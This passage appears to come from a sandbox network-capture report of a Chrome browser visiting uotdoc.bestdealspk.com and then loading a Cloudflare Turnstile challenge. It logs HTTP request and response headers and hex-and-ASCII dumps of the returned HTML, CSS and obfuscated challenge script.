6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49739	65.21.29.43	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:26 UTC	691	OUT	GET / HTTP/1.1 Host: uotdoc.bestdealspk.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:26 UTC	333	IN	HTTP/1.1 200 OK Connection: close content-type: text/html; charset=UTF-8 content-length: 612 date: Tue, 26 Nov 2024 05:40:26 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-11-26 05:40:26 UTC	612	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0d 0a 20 20 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 64 69 76 20 7b 0d 0a 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 6a 75 73 74 69 66 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Document</title><style> div { display: flex; align-items: center; justif

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49740	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:28 UTC	805	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d77oe/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://uotdoc.bestdealspk.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:28 UTC	1362	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 05:40:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26459 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-11-26 05:40:28 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 65 38 37 38 62 33 64 38 65 62 30 34 33 62 32 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8e878b3d8eb043b2-EWRalt-svc: h3=":443"; ma=86400
2024-11-26 05:40:28 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-11-26 05:40:28 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2024-11-26 05:40:28 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2024-11-26 05:40:28 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2024-11-26 05:40:28 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2024-11-26 05:40:28 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2024-11-26 05:40:28 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2024-11-26 05:40:28 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2024-11-26 05:40:28 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49741	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:30 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8e878b3d8eb043b2&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d77oe/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:30 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 05:40:30 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 120059 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8e878b4948c8c46d-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 05:40:30 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 50 69 6b 62 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.uPikb3={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"http
2024-11-26 05:40:30 UTC	1369	IN	Data Raw: 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 2c 22 69 6e 76 61 6c 69 64 5f 73 69 74 65 6b 65 79 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 73 69 74 65 6b 65 79 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e Data Ascii: %3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%20information%3C%2Fa%3E","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Admin
2024-11-26 05:40:30 UTC	1369	IN	Data Raw: 2c 67 33 2c 67 34 2c 67 38 2c 67 39 2c 67 64 2c 67 67 2c 67 68 2c 67 48 2c 67 65 2c 67 66 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 38 37 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 39 34 31 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 35 36 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 38 38 29 29 2f 34 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 37 33 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 38 31 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 35 31 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 Data Ascii: ,g3,g4,g8,g9,gd,gg,gh,gH,ge,gf){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1387))/1(parseInt(gI(941))/2)+-parseInt(gI(456))/3(-parseInt(gI(888))/4)+-parseInt(gI(1573))/5(parseInt(gI(1181))/6)+-parseInt(gI(1551))/7(-parseI
2024-11-26 05:40:30 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 49 2c 4a 29 7b 72 65 74 75 72 6e 20 49 2b 4a 7d 2c 6a 5b 68 6c 28 34 31 37 29 5d 3d 68 6c 28 36 37 35 29 2c 6a 5b 68 6c 28 31 35 39 39 29 5d 3d 68 6c 28 31 30 35 32 29 2c 6a 5b 68 6c 28 31 33 32 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 49 2c 4a 29 7b 72 65 74 75 72 6e 20 49 2b 4a 7d 2c 6a 5b 68 6c 28 31 34 34 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 49 2c 4a 29 7b 72 65 74 75 72 6e 20 49 2b 4a 7d 2c 6a 5b 68 6c 28 39 35 32 29 5d 3d 68 6c 28 38 36 39 29 2c 6a 5b 68 6c 28 37 39 31 29 5d 3d 68 6c 28 38 33 38 29 2c 6a 29 3b 74 72 79 7b 66 6f 72 28 6c 3d 68 6c 28 31 37 30 38 29 5b 68 6c 28 31 33 38 35 29 5d 28 27 7c 27 29 2c 6d 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 6c 5b 6d 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 6e 3d 67 48 Data Ascii: function(I,J){return I+J},j[hl(417)]=hl(675),j[hl(1599)]=hl(1052),j[hl(1323)]=function(I,J){return I+J},j[hl(1447)]=function(I,J){return I+J},j[hl(952)]=hl(869),j[hl(791)]=hl(838),j);try{for(l=hl(1708)[hl(1385)]('\|'),m=0;!![];){switch(l[m++]){case'0':n=gH
2024-11-26 05:40:30 UTC	1369	IN	Data Raw: 35 27 3a 78 5b 68 6c 28 31 35 33 31 29 5d 28 6b 5b 68 6c 28 37 39 31 29 5d 2c 68 6c 28 31 35 38 30 29 29 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 7d 63 61 74 63 68 28 49 29 7b 7d 7d 2c 65 4d 5b 67 4a 28 31 36 35 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 68 6d 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 73 2c 76 2c 6d 29 7b 28 68 6d 3d 67 4a 2c 65 3d 7b 27 7a 4b 43 64 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 5e 6e 7d 2c 27 59 77 5a 4d 71 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 5e 6f 7d 2c 27 78 77 52 53 46 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 5e 6f 7d 2c 27 67 72 67 44 61 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 Data Ascii: 5':x[hl(1531)](k[hl(791)],hl(1580));continue}break}}catch(I){}},eM[gJ(1658)]=function(d,hm,e,f,g,h,i,j,k,l,s,v,m){(hm=gJ,e={'zKCdl':function(n,o){return o^n},'YwZMq':function(n,o){return n^o},'xwRSF':function(n,o){return n^o},'grgDa':function(n,o){return
